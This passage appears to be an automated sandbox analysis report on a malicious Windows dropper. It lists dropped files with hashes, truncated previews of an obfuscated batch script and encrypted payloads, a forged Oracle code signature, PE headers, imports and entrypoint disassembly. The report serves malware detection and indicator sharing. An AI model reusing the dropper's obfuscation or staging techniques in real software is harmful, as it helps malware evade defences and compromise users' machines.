                                                                                                                                                              Preview:.-..:...T....Q/$....!.%...'...B6.V..3?l....*z...T...U...B5.(..H..o......Q..".[=+..o....w..`...v9..n.5=n..b.o.>"Y.....:69.E.L...M..@qs....(.=#`...JX..*...^...........c`$0VC..oe{h 4.....-= .!^.?c...d?j..;..h{..c.<6.n..3Zf..@.7mp.&.J.7.g.x.).{.l......8......*.Z...C......:Hf).@UfM)..\6.}....#..4....sx-.E.sz...aO...w....n.Dy.....lO...R9.WB..J.....Go.7D!.......Lz....._..N.UsB`.{......"*..k.....:.^>..szU..&]m...a...tV....&.(...nb.4..f??...r.u..?...$9..k.5U..]a.......4..,....../3..9#Z..m.....N.........8......]5t...x...~.......Z[a...{.9................(.....y.f..+..`.a.....M....Sh..:;*.<..8.M.$#.f.I...E*...E+....^5g.q.....J.Q..F8.....h.\.).j.%...l...$.....f.?.m.%%.%.D.....u.Y.."]g......7..Tb..h.u..K....6<...].eE..$c:.w..h<$..~XB....ZEW_I`~....`.P.1.eP.(.`m.d.2.8A..s.C. ._<..@.<.U.W.'...N...[OE...-.{rL..*B..ur.[.@..]'.3.,..D..=,....Z\..D..........]OKq.cM...-.!.'....v..Qef.9....l.Q[...S..;>%}......!..l...z..%m.r+9....*....r.......<y.'.L&0...

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Et

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):32841
                                                                                                                                                              Entropy (8bit):7.993421641465555
                                                                                                                                                              Encrypted:true
                                                                                                                                                              SSDEEP:384:Ee8QXodDxKozVKyLD/UUabk0eU5ApYeaDdMJXwvPutBgG1sLlt1ywJfdGysn3HAO:ETxhY940eU5ApjaWG4gVdZsnvC9VynAy
                                                                                                                                                              MD5:0E9173E00715288B2D6B61407A5A9154
                                                                                                                                                              SHA1:C7BA999483382F3C3ABA56A4799113E43C3428D5
                                                                                                                                                              SHA-256:AA4685667DD6031DB9C85E93A83679051D02DA5A396A1AD2EF41C0BDF91BAF66
                                                                                                                                                              SHA-512:BB13D5DE52EA0A0178F8474FCEB7E9FC2D633BACEACB4E057B976CAC9131152076544891D0959FA22FE293EEEE942AE0F6A2FDD3D3A4C050A39549BAA2CB5ECD
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:r.Q.k.O....4.u.ov.!X?!.5v....(...E#..{.}...$......m.zg.VN(j+....8...%.U....i..6.9......L`/h.........p........g#~+....U#..X?=.Z5L..../w......[...<Q_.i.c..+..;K/NGo.8.1....1}..%+i...l...P...6.....-sk.R....^.V2@.....h......q[}%...F._D..Z.!........J.4<.a*#....lAD-...z..."..._.u.E...SF.q:._.[j`Z.....{?._.k..[X.)7.n..+...*....G(.u,..}:....O.D..p.2.~.f.y.M..w...C}.U.o.....v|..l....gp0....1.l...^....u.<.r......R..&)..!.....c.,.jc...NL.G.=..s.@/.lA..T9.r.St.M.T.U..,...PR.%h.3.I....%6Q...m.1.Zw..i{.Y......g.q@..\..F...k...s.J....,L.Z..%......Xu.d.[M..2..e..hZ\.YLjo.1....@=hiTf.|S.....d .0_..1.3s+X.3=.N.n<'..6.....N&/....`....Tv..;GT...d.......}|.n.%K.lZ.}...;..R........6.j.*w)..vkZN...G.FGr;.........,.E.G..C/#.....a...-.....ou4[...u....T8.x...|c.2!D..TH....Z6h....+.DCaD.u...R..Mi.GA..2E..C.x..#Z{..[..v8x.w2..:..E.^...<...'..K.v{.h[b.!..<7}..O......x.Y.;t........eC.ji'.UN.\6.:.o.]...;e..R....}...6.....*.e.u..8.t...}......3..&E.........K..a1s..Q..

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Frequently

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                              File Type:ASCII text, with very long lines (413), with CRLF line terminators
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):8712
                                                                                                                                                              Entropy (8bit):5.175693834770833
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:192:2xrbrMOmYYlR0/fyZ0BHKgUQuIrCY+ztqPH3cfgu2zOr134n/OQuWmDPY3+ztqPz:ibWlWfeEH+QuIrCY+ztwXcfgu2S34n2+
                                                                                                                                                              MD5:283C7E0A2D03FF8AFE11A62E1869F2E5
                                                                                                                                                              SHA1:235DA34690349F1C33CBA69E77EAD2B19E08DBC9
                                                                                                                                                              SHA-256:38582D3231748A788012E4C27A5AC0F54F9CB0467D60ECC247A31EA165EDEEF9
                                                                                                                                                              SHA-512:B9BA42910D150CE9E07542A501C4134FB668F9B4AF70DB1ED8FA402066C8FB5025CF4BB29ABD91C877571361E71C582E1E7C5350B28C7BDA18D6BF184E85273E
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:Set Hotels= ..kqRHLabeled-Invitation-Testimony-..IwhSEmerald-Weeks-Mentioned-Defense-Climate-Choose-..WZTransport-Hosting-Depth-Receivers-Accepting-..fPRoArising-Centuries-App-Brooks-Ladder-Fishing-Duties-Immigration-Brunette-..uUqCTrusted-Newspapers-Experiment-Capability-Screenshots-Efforts-Advisor-..LURegards-Temperature-Sheep-..Set Olympus=y..NQAlthough-Royal-Sol-Races-Calendar-Incorporate-..nkRzColour-Guest-Nl-Cruises-Jets-Increase-Macedonia-..UrfyFestivals-Deaths-Incest-Ref-..nWdProzac-Iraq-Kevin-Boxing-Ka-Reviewer-Select-Hook-..DzeuActivities-Simulations-Joining-..kwMJoke-Reach-Function-School-Costs-Discipline-Regularly-Rider-Fundamental-..xsJRecommends-Fuel-..OqnlReferences-Elliott-Creation-Warner-Hwy-Transferred-Wizard-..KftMRingtone-Rehab-Profiles-Materials-Magazine-Precious-Blind-Conferencing-Tractor-..PDTtProcurement-Ing-..Set Someone=W..hRhWins-Hardware-Stories-Dj-Applicant-..MPwAllow-Candidates-Tp-Performs-Occur-..VfiSPn-..fqsQDrag-Accessing-Enhanced-Mt-Governor-Db-Katrina

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Frequently.cmd

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              File Type:ASCII text, with very long lines (413), with CRLF line terminators
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):8712
                                                                                                                                                              Entropy (8bit):5.175693834770833
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:192:2xrbrMOmYYlR0/fyZ0BHKgUQuIrCY+ztqPH3cfgu2zOr134n/OQuWmDPY3+ztqPz:ibWlWfeEH+QuIrCY+ztwXcfgu2S34n2+
                                                                                                                                                              MD5:283C7E0A2D03FF8AFE11A62E1869F2E5
                                                                                                                                                              SHA1:235DA34690349F1C33CBA69E77EAD2B19E08DBC9
                                                                                                                                                              SHA-256:38582D3231748A788012E4C27A5AC0F54F9CB0467D60ECC247A31EA165EDEEF9
                                                                                                                                                              SHA-512:B9BA42910D150CE9E07542A501C4134FB668F9B4AF70DB1ED8FA402066C8FB5025CF4BB29ABD91C877571361E71C582E1E7C5350B28C7BDA18D6BF184E85273E
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:Set Hotels= ..kqRHLabeled-Invitation-Testimony-..IwhSEmerald-Weeks-Mentioned-Defense-Climate-Choose-..WZTransport-Hosting-Depth-Receivers-Accepting-..fPRoArising-Centuries-App-Brooks-Ladder-Fishing-Duties-Immigration-Brunette-..uUqCTrusted-Newspapers-Experiment-Capability-Screenshots-Efforts-Advisor-..LURegards-Temperature-Sheep-..Set Olympus=y..NQAlthough-Royal-Sol-Races-Calendar-Incorporate-..nkRzColour-Guest-Nl-Cruises-Jets-Increase-Macedonia-..UrfyFestivals-Deaths-Incest-Ref-..nWdProzac-Iraq-Kevin-Boxing-Ka-Reviewer-Select-Hook-..DzeuActivities-Simulations-Joining-..kwMJoke-Reach-Function-School-Costs-Discipline-Regularly-Rider-Fundamental-..xsJRecommends-Fuel-..OqnlReferences-Elliott-Creation-Warner-Hwy-Transferred-Wizard-..KftMRingtone-Rehab-Profiles-Materials-Magazine-Precious-Blind-Conferencing-Tractor-..PDTtProcurement-Ing-..Set Someone=W..hRhWins-Hardware-Stories-Dj-Applicant-..MPwAllow-Candidates-Tp-Performs-Occur-..VfiSPn-..fqsQDrag-Accessing-Enhanced-Mt-Governor-Db-Katrina

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Peripherals

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):59392
                                                                                                                                                              Entropy (8bit):7.996531008001744
                                                                                                                                                              Encrypted:true
                                                                                                                                                              SSDEEP:1536:2vkgzz46H5flXQGUxyXEFCKr+Uh20T0tGU0RRntJwemI:+ZvBFlXgeja+q240tnydwC
                                                                                                                                                              MD5:6337B4A0EF79ECFC7A0E70BEEA5D5B5B
                                                                                                                                                              SHA1:904AAF86B183865A6337BE71971148E4EF55D548
                                                                                                                                                              SHA-256:024AD40C289BFDBEA25AA7C319381595C700E6E9E92A951BC2E5DF8A21382630
                                                                                                                                                              SHA-512:9B88533915190062002702B2B632E648A94F086B987040D3F22F1BC718A2E58FBCB6D85A9AD17C8EE34018364CD9486D52BEF91D645CFC3608AA3B592FCA6B48
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:....m.......`=..lO..m0.a..-u~J.p..di..!a......7..J..Z..AV.zJ......M.A,}.1.=..G....T...(6i}....{..........R.Y3M....<.sZT$....-e......{E.~..g..I...<...V.Pf>...%...(.Y:`m.w[..H..g.uV..m<\....D}|...X..Qj...(.:...'726.Fd...o."...=.;)Mq.G.....6._.'..f).`.'.3....#4...E..6.vG4.Tb..4.sp.4..Rc.e(SY....n...g.0.Dh|+/O..*_........e...K..M..|..6.$.............S....0;......f...|5.b..rX3...ho...."...e.......3.wN.wd...@.a{y..Q.%.......SN..<...C..W......|...h.....:..*Q........|.....<n...[..n....;..Y....h.6.A.........9.....5.'..2).!.u..T....L....]....Yw....J....\*....$.E..s.p.#..L...[.)s..v.|.$....].....V.u.._n.......}>.....n.V.k.N.b..J..k.`>...]...=.'Ed..=.....g......rq..G<W.p..O.N..e|....]7...x.O.J....|...gN^.!..M.A...,....n6...7....RI!.....jM...p.P..T..5.|PQ.a.g)..-.N=;.V........>.J...qL.....=.....k.l;...{.E...se6f...a.m.V+<3...6.....J..pa.........T.G.;..J..Zw.x...WY.FN.=[......?Sz~.L..Y..$.,5..@..Y~.....u...o\.....u..........>..._......4-.......7.Iy

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Version

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1818
                                                                                                                                                              Entropy (8bit):4.882455171316959
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:24:vhyGSpqcQw0FiOiYCL/YC1Rjcx2WWtUfqyRCa5dG0baanxCw1G7WrAu:vaQV9EwC1tx5tUw8GQ1iWcu
                                                                                                                                                              MD5:51C0F6EFF2D7E54810B653329E530404
                                                                                                                                                              SHA1:52AEF28DAB5BA3202341FE2A34F64744F268B991
                                                                                                                                                              SHA-256:A8F5D7C5CAED37FA9F6DC432C1F854F32564D6CF0FEC70F4BEDE96BA4DF4DCDD
                                                                                                                                                              SHA-512:AE804726DABE115186E5CCAF7827912B48517A8A4DEA8BAFA2D35286BC60CB1203CBE71B6936CC269BFA82C7037BACD79D9DBB586E49909FCB1D84E99E6F3FE7
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:ConventionTroopsStudiedTooth..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B..................................................................................................................................................................................................................................................

                                                                                                                                                              C:\Users\user\AppData\Roaming\chhfaci

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):943784
                                                                                                                                                              Entropy (8bit):6.625461630496363
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:24576:FJs7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:FC7hGOSPT/PxebaiO
                                                                                                                                                              MD5:78BA0653A340BAC5FF152B21A83626CC
                                                                                                                                                              SHA1:B12DA9CB5D024555405040E65AD89D16AE749502
                                                                                                                                                              SHA-256:05D8CF394190F3A707ABFB25FB44D7DA9D5F533D7D2063B23C00CC11253C8BE7
                                                                                                                                                              SHA-512:EFB75E4C1E0057FFB47613FD5AAE8CE3912B1558A4B74DBF5284C942EAC78ECD9ACA98F7C1E0E96EC38E8177E58FFDF54F2EB0385E73EEF39E8A2CE611237317
                                                                                                                                                              Malicious:true
                                                                                                                                                              Antivirus:
                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 5%
                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\Users\user\AppData\Roaming\wwbairg

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\explorer.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):365216
                                                                                                                                                              Entropy (8bit):7.999471922320982
                                                                                                                                                              Encrypted:true
                                                                                                                                                              SSDEEP:6144:K1Axps+5JxOrGznbOK/zylNNido0CNpNvdQV7uBBoDOmH4kSkFGCJ91hyk:rxt3OrGHOKmlN0EvzrkOyBXJrEk
                                                                                                                                                              MD5:10706C306980276F846A23E72166092A
                                                                                                                                                              SHA1:B0F36B8EAB1BA68EDBDFC785FC1E807BC6D1358E
                                                                                                                                                              SHA-256:FD519D66445ADAA826321878905B266AE71125ACDE10B7D94D9E042DE7B97D35
                                                                                                                                                              SHA-512:015386DA7F3BCEEA519B6CC2399B6365160A1796E5D288B19A74C8DD0982073A6F3C177A5287FAC01685D20100E29386C703791CEA39B645A26D72B647E453AE
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:!...<.......|....o$"j.....*g.u....0......(...-6.......r.$..u..i...n..P...t...^..U.EDG..0..B.::.........^.%.P.aJ...jPFqy..6....K..*..#jl....(J."uZ.D.v...P}63.....w.9...O.<.....x..H..E.$..bmF.E..8P......>...kq..P.{..........1u....,B.`...y...2.h...].T.&...........'...W<....i'...OfBzCx.0H...(.f.......i..U'.....e.r...7-..^.L.Y.....0.DS.q..n.-..E........8_.,5....1.P.7.!>.o$.....@d.....3-.:...K."u.\.....'..w.+.'$.P.&f....3...b|.|.*E&.f..u'......T.......&..T.=.a+TK....wm...Q..,N&_w%F.....=(0A.x.....uw....9.....N.SEM..+.F&H....0.hw".G.^fA9....9.G....jZ..u........}.td..c.~Z....o.u/5D.j..l.2n.8........rH..sf%c...'$Y..2U....f..&#..,....Dx.z,..V...|...c.t.:~.}...Wb...m..p..En....-..C...f..W.......uRn...(..|n.Xwg.%....U..}.LNn..1...?..>.......:...6...O...k.a.P.W.........!..A..f.1..P>P3...=H..e..#..q9.|..S@....6Zep....K.2.`].[.3*.C7....b.,.~/.7v.8.W.G....G...?0...foP. .....s..p.2}......IJY..^...jo.bV..G..G.*.......K.Ud..;...x.{..#.\......Ge..

                                                                                                                                                              Static File Info

                                                                                                                                                              General

                                                                                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                              Entropy (8bit):7.956171402907526
                                                                                                                                                              TrID:
                                                                                                                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                              • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                              File name:file.exe
                                                                                                                                                              File size:758'801 bytes
                                                                                                                                                              MD5:211dd0cc3da148c5bc61389693fd284f
                                                                                                                                                              SHA1:75e6bd440e37240fee4bf7ae01109093490ac5a7
                                                                                                                                                              SHA256:645ee0535f2ada91b101c0029f2fb71de2a27c10a5446e84d3547968ea36eafe
                                                                                                                                                              SHA512:628bb927b5a85674ed1f762d4c42e8e9f55859cd626ab0f01b7d47ee4c74ff5775ceafc4a45864344d5dd13e588fe60b6a121b00dac79276689d0a9970d12e89
                                                                                                                                                              SSDEEP:12288:0CUIDSqmWYzAoweej5i03v54L/sYZf2J8weqNjpnB5CLMjHgGXyPGSifD:0amqmWYde1/4LiJleEd/IMjHxplr
                                                                                                                                                              TLSH:F3F423459FC8D627D6F346B138F8060A6FB1740124E4E46F970848EE3972A40AAF93B7
                                                                                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n...p...B...8.....

                                                                                                                                                              File Icon

                                                                                                                                                              Icon Hash:5878c982882d4da9

                                                                                                                                                              Static PE Info

                                                                                                                                                              General

                                                                                                                                                              Entrypoint:0x403883
                                                                                                                                                              Entrypoint Section:.text
                                                                                                                                                              Digitally signed:true
                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                              Subsystem:windows gui
                                                                                                                                                              Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                              DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                              Time Stamp:0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
                                                                                                                                                              TLS Callbacks:
                                                                                                                                                              CLR (.Net) Version:
                                                                                                                                                              OS Version Major:5
                                                                                                                                                              OS Version Minor:0
                                                                                                                                                              File Version Major:5
                                                                                                                                                              File Version Minor:0
                                                                                                                                                              Subsystem Version Major:5
                                                                                                                                                              Subsystem Version Minor:0
                                                                                                                                                              Import Hash:be41bf7b8cc010b614bd36bbca606973

                                                                                                                                                              Authenticode Signature

                                                                                                                                                              Signature Valid:false
                                                                                                                                                              Signature Issuer:CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
                                                                                                                                                              Signature Validation Error:The digital signature of the object did not verify
                                                                                                                                                              Error Number:-2146869232
                                                                                                                                                              Not Before, Not After
                                                                                                                                                              • 19/08/2021 02:00:00 20/08/2023 01:59:59
                                                                                                                                                              Subject Chain
                                                                                                                                                              • CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, S=California, C=US
                                                                                                                                                              Version:3
                                                                                                                                                              Thumbprint MD5:2876C1BECB51837D0E3DE50903D025B6
                                                                                                                                                              Thumbprint SHA-1:940D69C0A34A1B4CFD8048488BA86F4CED60481A
                                                                                                                                                              Thumbprint SHA-256:EE46613A38B4F486164BCE7FB23178667715617F511B364594311A1548B08EB1
                                                                                                                                                              Serial:068BE2F53452C882F18ED41A5DD4E7A3

                                                                                                                                                              Entrypoint Preview

                                                                                                                                                              Instruction
                                                                                                                                                              sub esp, 000002D4h
                                                                                                                                                              push ebx
                                                                                                                                                              push ebp
                                                                                                                                                              push esi
                                                                                                                                                              push edi
                                                                                                                                                              push 00000020h
                                                                                                                                                              xor ebp, ebp
                                                                                                                                                              pop esi
                                                                                                                                                              mov dword ptr [esp+18h], ebp
                                                                                                                                                              mov dword ptr [esp+10h], 00409268h
                                                                                                                                                              mov dword ptr [esp+14h], ebp
                                                                                                                                                              call dword ptr [00408030h]
                                                                                                                                                              push 00008001h
                                                                                                                                                              call dword ptr [004080B4h]
                                                                                                                                                              push ebp
                                                                                                                                                              call dword ptr [004082C0h]
                                                                                                                                                              push 00000008h
                                                                                                                                                              mov dword ptr [00472EB8h], eax
                                                                                                                                                              call 00007F70D4D214CBh
                                                                                                                                                              push ebp
                                                                                                                                                              push 000002B4h
                                                                                                                                                              mov dword ptr [00472DD0h], eax
                                                                                                                                                              lea eax, dword ptr [esp+38h]
                                                                                                                                                              push eax
                                                                                                                                                              push ebp
                                                                                                                                                              push 00409264h
                                                                                                                                                              call dword ptr [00408184h]
                                                                                                                                                              push 0040924Ch
                                                                                                                                                              push 0046ADC0h
                                                                                                                                                              call 00007F70D4D211ADh
                                                                                                                                                              call dword ptr [004080B0h]
                                                                                                                                                              push eax
                                                                                                                                                              mov edi, 004C30A0h
                                                                                                                                                              push edi
                                                                                                                                                              call 00007F70D4D2119Bh
                                                                                                                                                              push ebp
                                                                                                                                                              call dword ptr [00408134h]
                                                                                                                                                              cmp word ptr [004C30A0h], 0022h
                                                                                                                                                              mov dword ptr [00472DD8h], eax
                                                                                                                                                              mov eax, edi
                                                                                                                                                              jne 00007F70D4D1EA9Ah
                                                                                                                                                              push 00000022h
                                                                                                                                                              pop esi
                                                                                                                                                              mov eax, 004C30A2h
                                                                                                                                                              push esi
                                                                                                                                                              push eax
                                                                                                                                                              call 00007F70D4D20E71h
                                                                                                                                                              push eax
                                                                                                                                                              call dword ptr [00408260h]
                                                                                                                                                              mov esi, eax
                                                                                                                                                              mov dword ptr [esp+1Ch], esi
                                                                                                                                                              jmp 00007F70D4D1EB23h
                                                                                                                                                              push 00000020h
                                                                                                                                                              pop ebx
                                                                                                                                                              cmp ax, bx
                                                                                                                                                              jne 00007F70D4D1EA9Ah
                                                                                                                                                              add esi, 02h
                                                                                                                                                              cmp word ptr [esi], bx

                                                                                                                                                              Rich Headers

                                                                                                                                                              Programming Language:
                                                                                                                                                              • [ C ] VS2008 SP1 build 30729
                                                                                                                                                              • [IMP] VS2008 SP1 build 30729
                                                                                                                                                              • [ C ] VS2010 SP1 build 40219
                                                                                                                                                              • [RES] VS2010 SP1 build 40219
                                                                                                                                                              • [LNK] VS2010 SP1 build 40219

                                                                                                                                                              Data Directories

                                                                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x9b340xb4.rdata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xf40000xab5e.rsrc
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0xb6b890x2888.ndata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x7a0000x964.ndata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x80000x2d0.rdata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                              Sections

                                                                                                                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                              .text0x10000x6dae0x6e0000499a6f70259150109c809d6aa0e6edFalse0.6611150568181818data6.508529563136936IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                              .rdata0x80000x2a620x2c0007990aaa54c3bc638bb87a87f3fb13e3False0.3526278409090909data4.390535020989255IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                              .data0xb0000x67ebc0x200014871d9a00f0e0c8c2a7cd25606c453False0.203125data1.4308602597540492IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                              .ndata0x730000x810000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                              .rsrc0xf40000xab5e0xac00279f28abe0144d6a1e259e79d874458eFalse0.8806549781976745data7.480236673133793IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                              .reloc0xff0000xf320x100043f9c476c43f200493054cceb8fd9976False0.60009765625data5.520133588637576IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                              Resources

                                                                                                                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                              RT_ICON0xf41f00x5916PNG image data, 128 x 128, 8-bit/color RGBA, non-interlacedEnglishUnited States1.0007015697623431
                                                                                                                                                              RT_ICON0xf9b080x246cPNG image data, 64 x 64, 8-bit/color RGBA, non-interlacedEnglishUnited States1.001179751179751
                                                                                                                                                              RT_ICON0xfbf740x2668Device independent bitmap graphic, 48 x 96 x 32, image size 9792EnglishUnited States0.5473962571196095
                                                                                                                                                              RT_DIALOG0xfe5dc0x100dataEnglishUnited States0.5234375
                                                                                                                                                              RT_DIALOG0xfe6dc0x11cdataEnglishUnited States0.6056338028169014
                                                                                                                                                              RT_DIALOG0xfe7f80x60dataEnglishUnited States0.7291666666666666
                                                                                                                                                              RT_GROUP_ICON0xfe8580x30dataEnglishUnited States0.875
                                                                                                                                                              RT_MANIFEST0xfe8880x2d6XML 1.0 document, ASCII text, with very long lines (726), with no line terminatorsEnglishUnited States0.5647382920110193

                                                                                                                                                              Imports

                                                                                                                                                              DLLImport
                                                                                                                                                              KERNEL32.dllSetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
                                                                                                                                                              USER32.dllGetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
                                                                                                                                                              GDI32.dllSetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
                                                                                                                                                              SHELL32.dllSHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
